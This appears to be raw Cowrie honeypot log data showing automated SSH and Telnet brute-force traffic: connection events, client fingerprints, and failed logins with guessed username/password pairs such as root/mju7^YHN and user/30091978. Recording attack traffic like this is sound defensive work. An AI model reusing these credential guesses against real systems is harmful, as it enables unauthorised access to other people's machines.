{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38146,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0eb4d189a3","protocol":"telnet","message":"New connection: 192.119.108.58:38146 (159.203.135.109:23) [session: 0d0eb4d189a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:20.691305Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":52630,"dst_ip":"159.203.135.109","dst_port":22,"session":"c81da78fce60","protocol":"ssh","message":"New connection: 223.17.5.126:52630 (159.203.135.109:22) [session: c81da78fce60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:20.827979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:20.832897Z","src_ip":"223.17.5.126","session":"c81da78fce60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.051670Z","src_ip":"223.17.5.126","session":"c81da78fce60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.615800380706787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.638931Z","src_ip":"192.119.108.58","session":"3a6d2978ca90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":40870,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c394556380","protocol":"ssh","message":"New connection: 220.119.37.141:40870 (10.17.0.5:22) [session: 98c394556380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.799993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.804385Z","src_ip":"220.119.37.141","session":"98c394556380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55812,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ce178cde289","protocol":"telnet","message":"New connection: 161.132.53.68:55812 (159.203.135.109:23) [session: 5ce178cde289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.880339Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mju7^YHN","message":"login attempt [root/mju7^YHN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:21.957526Z","src_ip":"223.17.5.126","session":"c81da78fce60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:22.004905Z","src_ip":"220.119.37.141","session":"98c394556380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48724627494812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:22.222482Z","src_ip":"192.119.108.58","session":"66d25e55df04","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"michelle","message":"login attempt [user/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:22.828292Z","src_ip":"220.119.37.141","session":"98c394556380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:23.179185Z","src_ip":"223.17.5.126","session":"c81da78fce60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.028855Z","src_ip":"220.119.37.141","session":"98c394556380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.360384225845337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.096715Z","src_ip":"192.119.108.58","session":"0323d8f15cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55818,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50c078924f6","protocol":"telnet","message":"New connection: 161.132.53.68:55818 (159.203.135.109:23) [session: b50c078924f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.385293Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55830,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6d79c4609e","protocol":"telnet","message":"New connection: 161.132.53.68:55830 (159.203.135.109:23) [session: bf6d79c4609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.504363Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":43427,"dst_ip":"10.17.0.5","dst_port":22,"session":"7369b25baf48","protocol":"ssh","message":"New connection: 2.57.121.25:43427 (10.17.0.5:22) [session: 7369b25baf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.635173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.640471Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:24.887833Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"30091978","message":"login attempt [user/30091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:25.341518Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55840,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca7af0827218","protocol":"telnet","message":"New connection: 161.132.53.68:55840 (159.203.135.109:23) [session: ca7af0827218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:25.474132Z"}
{"eventid":"cowrie.session.closed","duration":31.044868230819702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:26.064043Z","src_ip":"161.132.53.68","session":"4ccdc8050dc5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"300780","message":"login attempt [user/300780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:26.439881Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"30071984","message":"login attempt [user/30071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:27.538538Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.492119073867798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:27.632357Z","src_ip":"161.132.53.68","session":"804b9940c3d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.020416259765625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:28.569700Z","src_ip":"161.132.53.68","session":"3639658bbe19","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"30071981","message":"login attempt [user/30071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:28.636731Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.65674304962158,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:28.669570Z","src_ip":"161.132.53.68","session":"20ee6b021289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38948,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1092ae88cc9","protocol":"telnet","message":"New connection: 161.132.53.68:38948 (159.203.135.109:23) [session: e1092ae88cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:28.946728Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"300590","message":"login attempt [user/300590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:29.738274Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11202096939087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:29.748333Z","src_ip":"161.132.53.68","session":"7ba4fabec105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53d220c5036","protocol":"telnet","message":"New connection: 161.132.53.68:38958 (159.203.135.109:23) [session: e53d220c5036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:30.344644Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:30.836468Z","src_ip":"2.57.121.25","session":"7369b25baf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70433592796326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:31.010803Z","src_ip":"161.132.53.68","session":"484b6b6bff7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38966,"dst_ip":"159.203.135.109","dst_port":23,"session":"93a06978cd61","protocol":"telnet","message":"New connection: 161.132.53.68:38966 (159.203.135.109:23) [session: 93a06978cd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:31.392668Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc0ae7613ae","protocol":"telnet","message":"New connection: 161.132.53.68:38982 (159.203.135.109:23) [session: 7fc0ae7613ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:33.642717Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":60880,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c756df2af3a","protocol":"ssh","message":"New connection: 114.35.59.237:60880 (10.17.0.5:22) [session: 3c756df2af3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:34.571714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:34.579021Z","src_ip":"114.35.59.237","session":"3c756df2af3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:34.791363Z","src_ip":"114.35.59.237","session":"3c756df2af3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.672775745391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:35.360081Z","src_ip":"161.132.53.68","session":"e6914ba1fc6a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:35.648553Z","src_ip":"114.35.59.237","session":"3c756df2af3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36803913116455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:36.375105Z","src_ip":"192.119.108.58","session":"7ac22f78005d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:36.868237Z","src_ip":"114.35.59.237","session":"3c756df2af3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42128,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe0d35bf710","protocol":"telnet","message":"New connection: 161.132.53.68:42128 (159.203.135.109:23) [session: 4fe0d35bf710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:37.301100Z"}
{"eventid":"cowrie.session.closed","duration":31.23329734802246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:38.984993Z","src_ip":"192.119.108.58","session":"d79294c77a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7645525932312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:39.376218Z","src_ip":"161.132.53.68","session":"235a16a282ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42136,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e7af9289fa","protocol":"telnet","message":"New connection: 161.132.53.68:42136 (159.203.135.109:23) [session: 73e7af9289fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:40.355429Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42152,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f119e75ff2","protocol":"telnet","message":"New connection: 161.132.53.68:42152 (159.203.135.109:23) [session: 73f119e75ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:40.780626Z"}
{"eventid":"cowrie.session.closed","duration":30.581634998321533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:41.520900Z","src_ip":"161.132.53.68","session":"5d954d087915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.048532485961914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:44.349998Z","src_ip":"161.132.53.68","session":"3b42f1e334a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.749767541885376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:46.453967Z","src_ip":"161.132.53.68","session":"9a13fa9d1135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f34c05085ed","protocol":"telnet","message":"New connection: 161.132.53.68:48174 (159.203.135.109:23) [session: 2f34c05085ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:46.766778Z"}
{"eventid":"cowrie.session.closed","duration":30.68041729927063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:48.145098Z","src_ip":"161.132.53.68","session":"5a601be1aee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":56520,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b6fa0eb646","protocol":"ssh","message":"New connection: 124.18.182.99:56520 (10.17.0.5:22) [session: 01b6fa0eb646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:49.696012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:49.702484Z","src_ip":"124.18.182.99","session":"01b6fa0eb646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:49.875757Z","src_ip":"124.18.182.99","session":"01b6fa0eb646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.09885311126709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:50.056086Z","src_ip":"192.119.108.58","session":"37ae3ecad4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603068828582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:50.354262Z","src_ip":"192.119.108.58","session":"f912cedfba0e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2","message":"login attempt [root/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:50.599389Z","src_ip":"124.18.182.99","session":"01b6fa0eb646","protocol":"ssh"}
